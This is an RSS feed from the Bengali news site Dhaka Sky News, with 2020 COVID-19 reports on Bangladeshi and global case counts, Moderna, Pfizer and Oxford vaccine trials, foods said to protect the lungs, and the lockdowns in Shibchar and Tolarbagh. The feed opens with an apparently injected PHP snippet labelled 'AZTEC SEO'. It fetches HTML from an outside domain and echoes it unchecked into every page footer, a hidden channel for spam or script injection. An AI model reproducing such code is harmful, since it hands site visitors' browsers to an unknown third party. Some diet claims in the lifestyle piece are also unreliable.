/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); করোনা – Dhaka Sky News https://www.dhakaskynews.com Dhaka Sky News Wed, 05 Aug 2020 04:11:51 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.9 মেহেরপুরে চেয়ারম্যানসহ আরও ২৮ জন করোনায় আক্রান্ত https://www.dhakaskynews.com/bangladesh/2020/08/05/News_ID-939/ https://www.dhakaskynews.com/bangladesh/2020/08/05/News_ID-939/#respond Wed, 05 Aug 2020 04:11:51 +0000 https://www.dhakaskynews.com/?p=939 মেহেরপুর প্রতিনিধি: মেহেরপুরে ইউনিয়ন পরিষদ চেয়ারম্যান, তার স্ত্রী ও নার্সসহ আরও ২৮ জন করোনা ভাইরাসে আক্রান্ত হয়েছে। মঙ্গলবার রাত ১০টায় এ তথ্য নিশ্চিত করেছেন সিভিল সার্জন ডা. মো. নাসির উদ্দীন।

মেহেরপুর জেলায় এ নিয়ে মোট করোনা আক্রান্ত হলেন ২১৭ জন। এর মধ্যে সুস্থ হয়েছেন ১১৮ জন, মারা গেছেন ৭ জন, ট্রান্সফার্ড হয়ে অন্যত্র চিকিৎসা নিচ্ছেন ১৮ জন, বর্তমানে মেহেরপুরে চিকিৎসাধিন আছেন ৭৪ ব্যক্তি।

মুজিবনগর উপজেলার বাগোয়ান ইউপি চেয়ারম্যান আইযুব হোসেন ও তার স্ত্রী সহ ৪, মেহেরপুর সদরে ১৫ ও গাংনী হাসপাতালের সিনিয়ন স্টাফ নার্স ও তার স্বামীসহ ৯ জন নতুন আক্রান্তের রয়েছেন।

মেহেরপুরের সিভিল সার্জন ডা. মো. নাসির উদ্দীন জানান, বিগত ৩ দিনের মোট ৬৮ জনের নুমনা পরীক্ষার ফলাফলে ২৮ জন করোনা পজিটিভ শনাক্ত হয়েছেন। তাদের বাড়িতে রেখে চিকিৎসা দেওয়া হচ্ছে।

]]>
https://www.dhakaskynews.com/bangladesh/2020/08/05/News_ID-939/feed/ 0
বিশ্বে করোনায় মৃত্যু ৬ লাখ ৯৯ হাজার ছাড়াল https://www.dhakaskynews.com/international/2020/08/05/News_ID-937/ https://www.dhakaskynews.com/international/2020/08/05/News_ID-937/#respond Wed, 05 Aug 2020 03:39:05 +0000 https://www.dhakaskynews.com/?p=937 ঢাকা স্কাই নিউজ ডেস্ক: করোনাভাইরাস ডিজিসে (কোভিড-১৯) সারাবিশ্বে আক্রান্তের সংখ্যা ১ কোটি ৮৪ লাখ ৬৬ হাজার ছাড়িয়েছে। আর এ ভাইরাসে আক্রান্ত হয়ে মৃত্যুর সংখ্যা ৬ লাখ ৯৯ হাজার ছাড়িয়ে গেছে।

এ ভাইরাসের সার্বক্ষণিক তথ্য সংরক্ষণ, জনস হপকিন্স বিশ্ববিদ্যালয়ের তথ্য অনুসারে বুধবার সকাল সাড়ে আটটা পর্যন্ত ভাইরাসটিতে আক্রান্তের সংখ্যা ১ কোটি ৮৪ লাখ ৬৬ হাজার ৫৯৪ জন। এতে মারা গেছেন ৬ লাখ ৯৯ হাজার ১৩৪ জন। আর এ ভাইরাসে আক্রান্ত হয়ে সুস্থ্য হয়ে উঠেছেন ১ কোটি ১০ লাখ ৫৮ হাজার ৩১৭ ব্যক্তি।

আমেরিকার দুই মহাদেশ ও দক্ষিণ এশিয়ায় সংক্রমণ দ্রুত বাড়ছে। আশার কথা হচ্ছে, এ ভাইরাসে আক্রান্ত হওয়ার পর সুস্থতার হার দ্রুত বাড়ছে। অন্যদিকে আক্রান্তের সংখ্যার সঙ্গে পাল্লা দেয়নি মৃত্যুহার। প্রাণহানিও স্থিতিশীল।

এ মহামারি ভাইরাসে সবচেয়ে বেশি সংক্রমণ ও মৃত্যু ঘটেছে যুক্তরাষ্ট্রে। দেশটিতে বুধবার সকাল পর্যন্ত আক্রান্তের সংখ্যা ৪৭ লাখ ৬৮ হাজার ৮২৮ জন। আর মৃত্যু হয়েছে ১ লাখ ৫৬ হাজার ৭৭১ জন মানুষের। দেশটিতে এখন পর্যন্ত সুস্থ্য হয়েছেন ১৫ লাখ ২৮ হাজার ৯৭৯ ব্যক্তি।

এ ভাইরাসে দ্বিতীয় সর্বোচ্চ আক্রান্ত ও মৃত্যু ব্রাজিলে। সেখানে ২৮ লাখ ১ হাজার ৯২১ জন মানুষ করোনায় আক্রান্ত এবং মারা গেছেন ৯৫ হাজার ৮১৯ জন। অপরদিকে সুস্থ্য হয়ে উঠেছেন ২১ লাখ ৪২ হাজার ৪৬৭ ব্যক্তি।

এদিকে তৃতীয় সর্বোচ্চ আক্রান্ত দক্ষিণ এশিয়ার দেশ ভারতে। বুধবার পর্যন্ত দেশটিতে আক্রান্তের সংখ্যা ১৮ লাখ ৫৫ হাজার ৭৪৫ জন। মৃত্যুর সংখ্যা কিছুটা কম ভারতে। মৃত্যুর দিক দিয়ে ভারত পঞ্চম স্থানে। সেখানে করোনায় মারা গেছেন ৩৮ হাজার ৯৩৮ ব্যক্তি।

এ মহামারিতে চতুর্থ সর্বোচ্চ আক্রান্ত হয়েছে রাশিয়ায়। দেশটিতে ৮ লাখ ৫৯ হাজার ৬৬২ জনের করোনা শনাক্ত হয়েছে। রাশিয়াতেও মৃত্যুর সংখ্যা তুলনামূলক কম। করোনায় মৃত্যুর দিক দিয়ে রাশিয়া ১১তম। এখন পর্যন্ত সেখানে মারা গেছে ১৪ হাজার ৩২৭ ব্যক্তি।

করোনায় তৃতীয় সর্বোচ্চ মৃত্যুর স্থান দখল করেছে মেক্সিকো। দেশটিতে এখন পর্যন্ত ৪৮ হাজার ৮৬৯ জনের প্রাণ কেড়েছে করোনা। আর দেশটিতে শনাক্তের সংখ্যা ৪ লাখ ৪৯ হাজার ৯৬১ জন। করোনা আক্রান্তের দিক থেকে মেক্সিকো এখন পঞ্চম স্থানে রয়েছে।

বিগত বছরের ডিসেম্বরে চীন থেকে সংক্রমণ শুরু হওয়ার পর বিশ্বব্যাপী এ পর্যন্ত ১৮৮টি দেশে ছড়িয়েছে প্রাণঘাতী করোনাভাইরাস। গত ১১ মার্চ করোনাভাইরাস সংকটকে মহামারি ঘোষণা করে বিশ্ব স্বাস্থ্য সংস্থা (ডব্লিউএইচও)।

]]>
https://www.dhakaskynews.com/international/2020/08/05/News_ID-937/feed/ 0
বছর শেষেই হাতে আসছে টিকা? https://www.dhakaskynews.com/international/2020/07/29/News_ID-873/ https://www.dhakaskynews.com/international/2020/07/29/News_ID-873/#respond Tue, 28 Jul 2020 19:54:15 +0000 https://www.dhakaskynews.com/?p=873 করোনা ভাইরাস নির্মূলে টিকা তৈরির শেষ ধাপে পৌঁছেছে মার্কিন সংস্থা মডার্না আইএনসি এবং ফাইজার আইএনসি। মার্কিন সরকারের সমর্থনে গবেষণার তৃতীয় পর্যায়ে ৩০ হাজার স্বেচ্ছাসেবীর উপর টিকার চূড়ান্ত পরীক্ষা শুরু করেছে তারা। স্থানীয় সময় সোমবার সকালে জর্জিয়ার সাভানায় এক ব্যক্তির উপর এই টিকা পরীক্ষামূলকভাবে প্রয়োগ করা হয়। আগামী দিনে আমেরিকার ৮৯টি জায়গায় এই পরীক্ষা হবে। তাতে সাফল্য এলে চলতি বছরের শেষ দিকে করোনভাইরাসের টিকা বাজারে এনে ফেলতে পারবে ওই দুই সংস্থা।

তৃতীয় পর্যায়ে মানবদেহে টিকার এই পরীক্ষামূলক প্রয়োগকে ফেজ থ্রি কোভ স্টাডি বলা হচ্ছে। এর আগে কখনও কোনও টিকা তৈরির অভিজ্ঞতা নেই মডার্নার। তবে মার্কিন সরকারের কাছ থেকে প্রায় ১০০ কোটি ডলার অর্থসাহায্য পেয়েছে তারা। যত তাড়াতাড়ি সম্ভব করোনার টিকা বাজারে আনতে নতুন ধরনের প্রযুক্তি ব্যবহার করছে তারা। তার জন্য গবেষণাগারে তৈরি কৃত্রিম এমআরএনএ দিয়ে টিকা তৈরি করা হচ্ছে।

এমআরএনএ হলো এক ধরনের জেনেটিক কোড, যার নির্দেশে কোষগুলি প্রোটিন তৈরি করে, যেগুলো কিনা আবার করোনার জীবাণুর প্রোটিনের মতোই দেখতে। করোনার জীবাণুদের খুঁজে বের করে তাদের বিরুদ্ধে রোগ প্রতিরোধ ক্ষমতা গড়ে তুলতে সাহায্য করে এই এমআরএনএ। এই পরীক্ষা সফল হলে ২০২১-এর মধ্যে ৫০ থেকে ১০০ কোটি ডোজ বাজারে আনা সম্ভব হবে বলে জানিয়েছেন মডার্নার চিফ এগজিকিউটিভ অফিসার স্টেফান বানচেল।

]]>
https://www.dhakaskynews.com/international/2020/07/29/News_ID-873/feed/ 0
করোনা : অক্সফোর্ডের টিকার শেষ পর্বের ট্রায়াল ৪২ হাজার মানুষের উপর https://www.dhakaskynews.com/tech/2020/07/14/News_ID-780/ https://www.dhakaskynews.com/tech/2020/07/14/News_ID-780/#respond Tue, 14 Jul 2020 10:24:07 +0000 https://www.dhakaskynews.com/?p=780 বিশ্বব্যাপী করোনা ভাইরাসের তাণ্ডব ঠেকাতে অক্সফোর্ডের টিকার শেষ পর্বের ট্রায়াল হচ্ছে ৪২ হাজার মানুষের উপর। এই মুহূর্তে ভরসা যোগাচ্ছে অক্সফোর্ড বিশ্ববিদ্যালয়ের গবেষকদের তৈরি করোনা এ প্রতিষেধকটি।

ইতোমধ্যেই এই প্রতিষেধকটির তৃতীয় তথা শেষ পর্যায়ের হিউম্যান ট্রায়ালের তোড়জোড় শুরু হয়ে গিয়েছে। জানা গিয়েছে, মোট ৪২ হাজার স্বেচ্ছাসেবকের শরীরে এবার এই টিকা প্রয়োগ করা হবে।

করোনা আক্রান্ত এবং মৃতের নিরিখে বিশ্বের শীর্ষস্থানীয় তিনটি দেশকে বেছে নেওয়া হয়েছে এই অক্সফোর্ডের টিকার চূড়ান্ত পর্যায়ের হিউম্যান ট্রায়ালের জন্য। মার্কিন যুক্তরাষ্ট্রে ৩০ হাজার, ইংল্যান্ডের ১০ হাজার এবং ব্রাজিলে অন্তত ২ হাজার স্বেচ্ছাসেবকের উপর এই টিকার শেস পর্বের হিউম্যান ট্রায়াল হবে।

এ দিকে অক্সফোর্ড বিশ্ববিদ্যালয়ের গবেষকদের তৈরি এই প্রতিষেধকটির উৎপাদনের কাজ ইতোমধ্যেই শুরু করে দিয়েছে ব্রিটিশ ফার্মাসিউটিক্যাল জায়ান্ট ‘অ্যাস্ট্রা জেনিকা’। এই টিকা উৎপাদনের চূড়ান্ত প্রস্তুতি শুরু করে দিয়েছে টিকা প্রস্তুতকারক সংস্থা ভারতের সিরাম ইনস্টিটিউটও। সেপ্টেম্বরে মধ্যেই ২০০ কোটি ডোজ উৎপাদনের লক্ষ্যমাত্রা নিয়ে একজোটে এগোচ্ছে এই দুই সংস্থা।

গত মঙ্গলবার সিরাম ইনস্টিটিউটের প্রধান কার্যনির্বাহী কর্মকর্তা আদর পুনাওয়ালা জানান, প্রতিষেধকটির উৎপাদনের জন্য ১০ কোটি মার্কিন ডলার (প্রায় ৭৫০ কোটি টাকা) অর্থ বরাদ্দ করা হয়েছে। খুব শীঘ্রই এই প্রতিষেধক উৎপাদনের কাজও শুরু হয়ে যাবে। তবে প্রতিষেধকটির চূড়ান্ত পর্বের হিউম্যান ট্রায়ালের ফলাফল না পাওয়া পর্যন্ত এটির সুরক্ষা এবং কার্যকারিতার দিক বিবেচনা করে এটিকে বাজারে ছাড়া হবে না।

পুনাওয়ালা জানান, করোনা পরিস্থিতি যে দিকে এগোচ্ছে তাতে জরুরি ভিত্তিতে করোনা টিকার জোগান দেওয়ার প্রস্তুতি নিয়ে রাখছে সংস্থা। এর জন্য নিজেরাই ঝুঁকি নিয়ে আপাতত কয়েক লাখ প্রতিষেধকের ডোজ তৈরি করে রাখছে সিরাম ইনস্টিটিউট। সূত্র: জিনিউজ

]]>
https://www.dhakaskynews.com/tech/2020/07/14/News_ID-780/feed/ 0
যুক্তরাষ্ট্রে ৪ থেকে ৬ সপ্তাহের মধ্যে করোনার ভ্যাকসিন https://www.dhakaskynews.com/international/2020/07/14/News_ID-758/ https://www.dhakaskynews.com/international/2020/07/14/News_ID-758/#respond Tue, 14 Jul 2020 06:05:14 +0000 https://www.dhakaskynews.com/?p=758 যুক্তরােষ্ট্রে আর মাত্র ৪ থেকে ৬ সপ্তােহের মধ্যে আসছে করোনার ভ্যাকসিন। সে দেশের সরকারের সঙ্গে অংশীদারত্বে থাকা ভ্যাকসিন উৎপাদনকারী প্রতিষ্ঠানগুলো গ্রীষ্মের শেষেই ভ্যাকসিন উৎপাদন শুরুর পথে রয়েছে। মার্কিন প্রশাসনের এক ঊর্ধ্বতন কর্মকর্তা গতকাল সোমবার এ তথ্য জানিয়েছেন। ‘জেরুজালেম পোস্ট’–এর এক প্রতিবেদনে এ তথ্য জানানো হয়।

মার্কিন ওই কর্মকর্তা বলেন, ‘প্রকৃতপক্ষে কবে নাগাদ ভ্যাকসিনের উপাদান উৎপাদন ও প্রস্তুত শুরু হবে, সে সম্পর্কে বলতে গেলে বলা যায়, ৪ থেকে ৬ সপ্তাহ লাগতে পারে। এর মধ্যে ভ্যাকসিন উৎপাদন শুরু হবে। তবে পূর্ণাঙ্গ উৎপাদন প্রক্রিয়া শুরু হবে গ্রীষ্মের শেষে।’

ট্রাম্প প্রশাসনের পক্ষ থেকে উৎপাদন কারখানার সুবিধা বাড়ানো ও কাঁচামাল সংগ্রহে কোম্পানিগুলোকে সাহায্য করা হচ্ছে। প্রশাসন ৪টি কোভিড-১৯ ভ্যাকসিন কর্মসূচিকে অপারেশন র‍্যাপ স্পিড প্রোগ্রামের আওতায় আর্থিক সাহায্য করেছে। তাদের লক্ষ্য, আগামী বছর নাগাদ ৩০ কোটি ভ্যাকসিন ডোজ তৈরি করা।

কয়েক মিলিয়ন থেকে ১০০ কোটি মার্কিন ডলারের বেশি অর্থ সাহায্য পাওয়া কোম্পানিগুলোর মধ্যে রয়েছে জনসন অ্যান্ড জনসন, মডার্না, অ্যাস্ট্রাজেনেকা ও নোভাভ্যাক্স।

যুক্তরাষ্ট্রের পক্ষ থকে রিজেনেরন ফার্মাসিউটিক্যাল নামের একটি কোম্পানির সঙ্গে কোভিড-১৯ থেরাপি উদ্ভাবনের জন্য ৪৫ কোটি ডলারের চুক্তি করা হয়েছে। কয়েক সপ্তাহের মধ্যে এর পরীক্ষামূলক প্রয়োগের ফল পাওয়া যাবে। শরতের মধ্যে কয়েক লাখ ডোজ পাওয়া যাবে।

ট্রাম্প প্রশাসনের ওই কর্মকর্তা বলেন, দ্রুতগতিতে ভ্যাকসিন তৈরির কাজ এগিয়ে চলছে, যা ইতিহাসে আগে কখনো হয়নি। থেরাপি আরও দ্রুত উদ্ভাবন হচ্ছে। ভবিষ্যতে আরও প্রতিষ্ঠানে ভ্যাকসিন তৈরির জন্য তহবিল জোগাবে মার্কিন প্রশাসন।

যুক্তরাষ্ট্রে ৩০ লাখের বেশি মানুষ করোনাভাইরাসে সংক্রমিত। আর মারা গেছে ১ লাখ ৩০ হাজারের বেশি মানুষ।

]]>
https://www.dhakaskynews.com/international/2020/07/14/News_ID-758/feed/ 0
বিশ্বে করোনায় সাড়ে ৭৩ লাখ আক্রান্ত, মৃত্যু ৪ লাখ ১৬ হাজার https://www.dhakaskynews.com/international/2020/06/11/News_ID-425/ https://www.dhakaskynews.com/international/2020/06/11/News_ID-425/#respond Thu, 11 Jun 2020 04:54:43 +0000 https://www.dhakaskynews.com/?p=425 বিশ্বে করোনাভাইরাসে আক্রান্তের সংখ্যা সাড়ে ৭৩ লাখ ছাড়িয়ে গেছে এবং মৃত্যু হয়েছে ৪ লাখ ১৬ হাজার মানুষের।

জনস হপকিন্স বিশ্ববিদ্যালয়ের তথ্য অনুযায়ী, বৃহস্পতিবার সকাল ৮টা পর্যন্ত বিশ্বব্যাপী করোনাভাইরাসে আক্রান্তের সংখ্যা বেড়ে দাঁড়িয়েছে ৭৩ লাখ ৫৭ হাজার ১১ জনে। এদের মধ্যে মৃত্যু হয়েছে ৪ লাখ ১৬ হাজার ৮৪ জনের।

বিশ্বে একক দেশ হিসেবে করোনাভাইরাসে আক্রান্ত ও মৃত্যুর সংখ্যা সবচেয়ে বেশি যুক্তরাষ্ট্রে। বৃহস্পতিবার সকাল পর্যন্ত দেশটিতে আক্রান্তের সংখ্যা ১৯ লাখ ৯৯ হাজার ৫৫২ জন। আর মৃত্যু হয়েছে ১ লাখ ১২ হাজার ৮৯৫ জনের।

যুক্তরাষ্ট্রের পর মৃতের দিক থেকে দ্বিতীয় অবস্থানে রয়েছে ইউরোপের দেশ যুক্তরাজ্য। তবে আক্রান্তের দিক থেকে দেশটির অবস্থান চতুর্থ। দেশটিতে আক্রান্তের সংখ্যা ২ লাখ ৯১ হাজার ৫৮৮ জন এবং মৃত্যু হয়েছে ৪১ হাজার ২১৩ জনের।

আক্রান্ত বিবেচনায় দ্বিতীয় অবস্থানে থাকা ব্রাজিল মৃত্যুতে রয়েছে তৃতীয় স্থানে। দেশটিতে এখন পর্যন্ত আক্রান্ত হয়েছেন ৭ লাখ ৭২ হাজার ৪১৬ জন এবং মৃত্যু হয়েছে ৩৯ হাজার ৬৮০ জনের।

আক্রান্তের দিক থেকে ব্রাজিলের পরই আছে রাশিয়া। দেশটিতে আক্রান্ত হয়েছে ৪ লাখ ৯৩ হাজার ২৩ জন আর মারা গেছে ৬ হাজার ৩৫০ জন।

মৃত্যু বিবেচনায় চতুর্থ স্থানে রয়েছে ইউরোপের আরেক দেশ ইতালি, তবে আক্রান্ত বিবেচনায় দেশটির অবস্থান সাতে। ইতালিতে এখন পর্যন্ত আক্রান্ত হয়েছেন ২ লাখ ৩৫ হাজার ৭৬৩ জন এবং মৃত্যু হয়েছে ৩৪ হাজার ১১৪ জনের।

দক্ষিণ এশিয়ার দেশগুলোর মধ্যে আক্রান্ত বিবেচনায় বিশ্বের মধ্যে পঞ্চম স্থানে উঠে এসেছে ভারত। এখন পর্যন্ত ভারতে মোট আক্রান্তের সংখ্যা ২ লাখ ৭৬ হাজার ৫৮৩ জন এবং মৃত্যু হয়েছে ৭ হাজার ৭৪৫ জনের।

গত বছরের ডিসেম্বরে চীন থেকে সংক্রমণ শুরু হওয়ার পর বিশ্বব্যাপী এ পর্যন্ত ১৮৮টি দেশে ছড়িয়েছে প্রাণঘাতী করোনাভাইরাস। গত ১১ মার্চ করোনাভাইরাস সংকটকে মহামারি ঘোষণা করে বিশ্ব স্বাস্থ্য সংস্থা (ডব্লিউএইচও)।

]]>
https://www.dhakaskynews.com/international/2020/06/11/News_ID-425/feed/ 0
করোনাকালে ফুসফুস ভালো রাখতে যেসব খাদ্য https://www.dhakaskynews.com/life-style/2020/06/10/News_ID-415/ https://www.dhakaskynews.com/life-style/2020/06/10/News_ID-415/#respond Wed, 10 Jun 2020 09:35:58 +0000 https://www.dhakaskynews.com/?p=415 মহামারি করোনা প্রাদুর্ভাবে শরীর সুস্থ রাখতে রোগ প্রতিরোধ ক্ষমতা বাড়ানো দরকার। শরীরের সবচেয়ে গুরুত্বপূর্ণ অঙ্গ হচ্ছে ফুসফুস। তাই নিয়মিত এটির যত্ন নেওয়া দরকার। ফুসফুস ভালো রাখতে যেসব খাবার খাবেন-

রসুন: রসুনে অ্যান্টি-ইনফ্ল্যামেটরি বৈশিষ্ট্য রয়েছে। এটি শরীরের রোগ প্রতিরোধ ক্ষমতা বাড়িয়ে তোলে। ফুসফুসের ক্যান্সার হওয়ার ঝুঁকি কমাতে রসুন ভূমিকা পালন করে।

পানি: পানি ফুসফুস পরিষ্কার রাখে। ফুসফুস ভালো রাখতে প্রতিদিন পর্যাপ্ত পরিমান পানি পান করতে হবে।

আপেল ও টমেটো: যারা অতীতে ধুমপান করতেন তাদের জন্য আপেল এবং টমেটো খুবই উপকারী। আপেলে উচ্চ মাত্রার অ্যান্টিঅক্সিডেন্ট রয়েছে। আপেলে থাকা ফেনোলিক যৌগ ও ফ্ল্যাভনয়েড শরীরের প্রদাহ কমায়।

ভিটামিন ডি: ভিটামিন ডি সমৃদ্ধ খাবার যেমন: দুধ ও ডিম রোগ প্রতিরোধ ক্ষমতা বাড়িয়ে তোলে এবং ক্ষতির হাত থেকে ফুসফুসকে রক্ষা করে। এছাড়াও এটি করোনার বিরুদ্ধে লড়াই করে শরীরকে সুস্থ রাখে।

গ্রিন টি: গ্রিন টি তে উচ্চ মাত্রার অ্যান্টিঅক্সিডেন্ট রয়েছে। নিয়মিত গ্রিন টি খেলে ফুসফুস ভালো থাকে। ২০১৭ সালে কোরিয়ান এক গবেষণা থেকে জানা গেছে, যারা নিয়মিত দুই কাপ গ্রিন টি পান করেন, তাদের ফুসফুসের কার্যকারিতা বাড়িয়ে তোলে।

ফ্যাটি অ্যাসিড: ফ্যাটি অ্যাসিডসমৃদ্ধ সামুদ্রিক মাছ ফুসফুসের কার্যকারিতা বাড়ায়।

বাদাম ও বীজ: বাদাম ও বিভিন্ন বীজ ফুসফুস ভালো রাখতে সহায়তা করে। মিষ্টি কুমড়ার বীজ, সূর্যমুখীর বীজ, আখরোট, পেস্তাবাদাম ও কাজুবাদামে প্রচুর পরিমাণে ম্যাগনেশিয়াম ও খনিজ রয়েছে। এসব খাবার শরীর ভালো রাখতে সহায়তা করে।

গোলমরিচ: গোলমরিচে থাকা ক্যাপাসেইসিন উপাদান শ্বাসকষ্টজনিত সমস্যা কমায়। সূত্র: পারাডিডটকম

]]>
https://www.dhakaskynews.com/life-style/2020/06/10/News_ID-415/feed/ 0
করোনা প্রতিরোধে সফল উপায় https://www.dhakaskynews.com/bangladesh/2020/06/10/News_ID-411/ https://www.dhakaskynews.com/bangladesh/2020/06/10/News_ID-411/#respond Wed, 10 Jun 2020 06:24:20 +0000 https://www.dhakaskynews.com/?p=411 করোনাভাইরাস প্রতিরোধে এর মূলমন্ত্র নমুনা পরীক্ষার মাধ্যমে দ্রুততম সময়ে আক্রান্ত ব্যক্তিকে শনাক্ত করে আইসোলেশন করা। একই সঙ্গে তার সংস্পর্শে আসা ব্যক্তিদের কন্টাক্ট ট্রেসিং করে কোয়ারেন্টাইন করে রাখা। নির্দিষ্ট এলাকায় সংক্রমণ অধিক মাত্রায় ছড়ালে কার্যকর লকডাউন করে ওই এলাকায় চলাচল নিষিদ্ধ করে দেওয়া। অর্থাৎ, ওই এলাকা থেকে কেউ বাইরে বের কিংবা প্রবেশ করতে পারবেন না। বিশ্ব স্বাস্থ্য সংস্থার গাইড লাইন অনুযায়ী, নূ্যনতম ২১ দিন সেই অবস্থা স্থায়ী রাখতে হবে। এই সময়ে ওই এলাকার সব মানুষের নমুনা পরীক্ষা করে আক্রান্ত ব্যক্তিকে আইসোলেশন ও তার সংস্পর্শে আসা ব্যক্তিদের কোয়ারেন্টাইন করতে হবে। প্রয়োজন হলে তাদের সরকার নির্ধারিত প্রতিষ্ঠানে চিকিৎসা দিতে হবে। বিশ্বব্যাপী প্রাণঘাতী করোনাভাইরাস প্রতিরোধে এখন পর্যন্ত সফল হওয়া দেশগুলো এই পদ্ধতিই অবলম্বন করেছে। কিন্তু এই প্রক্রিয়া যথাযথভাবে অবলম্বন না করায় বাংলাদেশে ভাইরাসটি ব্যাপকমাত্রায় ছড়িয়ে পড়েছে। গতকাল মঙ্গলবার পর্যন্ত সারাদেশে আক্রান্তের সংখ্যা ৭১ হাজার ছাড়িয়েছে। প্রাণ হারিয়েছেন পৌনে এক হাজার মানুষ।
জনস্বাস্থ্য বিশেষজ্ঞরা বলেছেন, যথাযথ স্বাস্থ্যবিধি ও সামাজিক দূরত্ব না মানার পাশাপাশি কার্যকর লকডাউন ও কন্টাক্ট ট্রেসিং সঠিকভাবে না হওয়ায় ভাইরাসটি সারাদেশে ছড়িয়ে পড়েছে। অনেকেই মনে করেন, টোলারবাগ ও মাদারীপুরের শিবচর উপজেলায় এই কাজটি যথাযথভাবে করায় ওই দুই স্থানে সংক্রমণ বাড়েনি। কিন্তু অন্য এলাকার ক্ষেত্রে কাজটি যথাযথভাবে না হওয়ায় পরিস্থিতি নিয়ন্ত্রণের বাইরে চলে গেছে। সুতরাং টোলারবাগ ও শিবচরকে মডেল ধরে সারাদেশে এই প্রক্রিয়া চালু করা গেলে পরিস্থিতি নিয়ন্ত্রণ করা এখনও সম্ভব বলে তারা মনে করেন।
এ অবস্থায় গতকাল থেকে রাজধানীর পূর্ব রাজাবাজারসহ কয়েকটি এলাকার রেড জোনে লকডাউন দেওয়া হয়েছে। বিশেষজ্ঞরা বলেছেন, বর্তমানে জোনভিত্তিক লকডাউন কার্যক্রমের সফলতা এটি বাস্তবায়নের ওপর নির্ভর করবে। ২৬ মার্চের মতো ছুটি ঘোষণা করে সবাইকে চলাচলের সুযোগ দিলে এই পদ্ধতিও কাজে আসবে না। সুতরাং জোনভিত্তিক লকডাউন কঠোরভাবে বাস্তবায়নের পক্ষে তারা মত দিয়েছেন।
কন্টাক্ট ট্রেসিং কী :বিশেষজ্ঞদের সঙ্গে কথা বলে জানা যায়, কন্টাক্ট ট্রেসিং হচ্ছে একটি পদ্ধতি যা সংক্রামক রোগ ছড়িয়ে পড়া ঠেকাতে ব্যবহার করা হয়। এটা সাধারণত যৌন রোগের ক্লিনিকে ব্যবহার করা হয়। সেখানে রোগীদের বলা হয়, তারা যেসব মানুষের সঙ্গে ঘনিষ্ঠ হয়েছেন, তাদের ক্লিনিকে যোগাযোগ করতে বলা হয়। করোনাভাইরাস মহামারির ক্ষেত্রে যেসব মানুষ দীর্ঘসময় আক্রান্ত ব্যক্তির সংস্পর্শে এসেছেন, তাদের স্বেচ্ছা আইসোলেশনে যেতে বলা হয়। এটা সাধারণত করোনা আক্রান্ত ব্যক্তির বন্ধু এবং পরিবারের সদস্যদের ফোনের মাধ্যমে জানানো হয়। একই সঙ্গে একটি স্বয়ংক্রিয় লোকেশন ট্র্যাকিং মোবাইল অ্যাপও সংযুক্ত করা হয়েছে। তবে বাংলাদেশে সবাই স্মার্টফোন ব্যবহার না করায় এটি কার্যকর হচ্ছে না। সরকারের জাতীয় রোগতত্ত্ব, রোগ নিয়ন্ত্রণ ও গবেষণা প্রতিষ্ঠান (আইইডিসিআর) বলছে, বর্তমানে দেশে রোগী থেকে সংক্রমণের হার ১ দশমিক ১৩ শতাংশ। বিশ্বব্যাপী এই হার ৩ দশমিক ৫৮ শতাংশ। এপ্রিলের প্রথম দিকে দেশে এই হার ছিল দুই শতাংশের ওপরে। এরপর মে মাসের প্রথম সপ্তাহে এই হার ১ দশমিক ১ শতাংশে দাঁড়ায়।
আইইডিসিআরের প্রধান বৈজ্ঞানিক কর্মকর্তা ডা. এএসএম আলমগীর বলেন, রোগী থেকে সংক্রমণের হার ১ শতাংশের নিচে হওয়া মানে সংক্রমণের গতি কমতে থাকা। আর ১ শতাংশের ওপরে থাকা মানে মহামারি। বাংলাদেশে এখন রোগটি মহামারি অবস্থায় আছে বলেও জানান তিনি।
শিবচর ও টোলারবাগ যে কারণে সফল :দেশে করোনা সংক্রমণের পর শিবচর উপজেলাকে সবচেয়ে ঝুঁকিপূর্ণ বিবেচনা করা হয়েছিল। করোনা সংক্রমিত ইতালি, গ্রিস, স্পেন, জার্মানিসহ ইউরোপ-আমেরিকার কয়েকটি দেশ থেকে মার্চের শুরুর দিকে প্রায় এক হাজার বাংলাদেশি প্রবাসী ফিরেছিলেন। দেশে ৮ মার্চ প্রথম তিনজনের শরীরে করোনার সংক্রমণ শনাক্ত হয়। মার্চের তৃতীয় সপ্তাহে গিয়ে আক্রান্তের সংখ্যা ১৭ জনে পৌঁছায়। তাদের মধ্যে আটজনই ছিলেন শিবচরের। শিবচরে ইতালিফেরত একজনের শরীরে ১৩ মার্চ করোনার সংক্রমণ শনাক্ত হয়। তার সংস্পর্শে থাকা পরিবারের আরও দু’জন সংক্রমিত হন। এরপর ধাপে ধাপে ওই উপজেলার আরও পাঁচজন আক্রান্ত হন। এর পর ১৯ মার্চ দেশের প্রথম এলাকা হিসেবে শিবচর লকডাউন ঘোষণা করে স্থানীয় প্রশাসন। গতকাল পর্যন্ত এই শিবচরে মাত্র ৪৩ জন আক্রান্ত হয়েছেন। গত এক সপ্তাহ ধরে এই এলাকায় নতুন করে কেউ আক্রান্ত হননি। শিবচরের মতো রাজধানীর মিরপুরের টোলারবাগও শুরুতে আতঙ্ক ছড়িয়েছিল। গত ২১ ও ২২ মার্চ পর পর দু’দিনে এই এলাকায় করোনা আক্রান্ত দু’জনের মৃত্যু হয়। মার্চের শেষ সপ্তাহে আক্রান্ত ৩০ জনের মধ্যে নয়জনই ছিলেন টোলারবাগের। ২৩ মার্চ আইইডিসিআর টোলারবাগ এলাকাকে হটস্পট ঘোষণা করে। এর পরই ওই এলাকাটিকে লকডাউন ঘোষণা করা হয়। রাজধানী ঢাকায় এটিই প্রথম লকডাউন করা কোনো এলাকা। গত সোমবার পর্যন্ত এই এলাকায় মাত্র ২১ জন আক্রান্ত হয়েছেন। দু’জনের মৃত্যু হয়েছে। অন্যরা সবাই সুস্থ হয়ে উঠেছেন। নতুন করে কোনো সংক্রমণ হয়নি এই এলাকায়।
